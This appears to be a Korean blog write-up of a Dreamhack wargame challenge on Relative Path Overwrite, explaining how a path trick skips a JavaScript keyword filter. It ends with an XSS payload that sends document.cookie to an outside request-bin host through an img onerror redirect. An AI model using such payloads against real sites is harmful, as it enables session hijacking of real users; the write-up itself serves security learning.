엔드포인트 분석
index.php
<?php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
include $page;
?>
사용자에게 page라는 파라미터를 입력 받고, page 파라미터가 존재하면 page.php 반환하고 아니라면 main.php 반환함. 그리고 .., : /
를 필터링한다.
/vuln.php
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter !== 'undefined') {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
filter.js라는 값을 상대경로로 받아온다. 그리고 사용자가 param에 입려한 값을 추출하여 화면에 표시한다. 하지만 만약 filter.js에 저장되어 있는 키워드를 입력한다면 필터링함.
익스플로잇
기존 url
http://host3.dreamhack.games:13981/?page=vuln¶m=script
위와 같이 vuln에서 param을 입력 받으면 키워드들을 필터링한다. 하지만 우리는 필터링을 우회하여 flag를 획득해야한다.
그러기 위해선 Url을
http://host3.dreamhack.games:13981/index.php/?page=vuln¶m=scipt
이와 같이 수정해야한다.
- 수정된 url은 vuln에서 param을 받는 것이 아닌, index.php에서 page를 통해 vuln에 접근하고 index.php에서 param을 입력 받는다. index.php에는 filter.js가 존재하지 않기 때문에 필터링을 하지 않는다.
<쿠키 탈취 페이로드>
index.php/?page=vuln¶m=<img src=@ onerror=location.href="https://noahrbv.request.dreamhack.games/"%2bdocument.cookie>를 report 페이지에 삽입하여 공격하면 된다.

'CTF & Wargame(WEB)' 카테고리의 다른 글
| level 2 Relative Path Overwrite Advanced (0) | 2025.04.21 |
|---|---|
| RPO(Relative Path Overwrite) 이해하기 (0) | 2025.04.21 |
| level 3 CSS Injection (0) | 2025.04.18 |
| level 2 Client Side Template Injection (0) | 2025.04.18 |
| level 1 CSRF Advanced (0) | 2025.04.18 |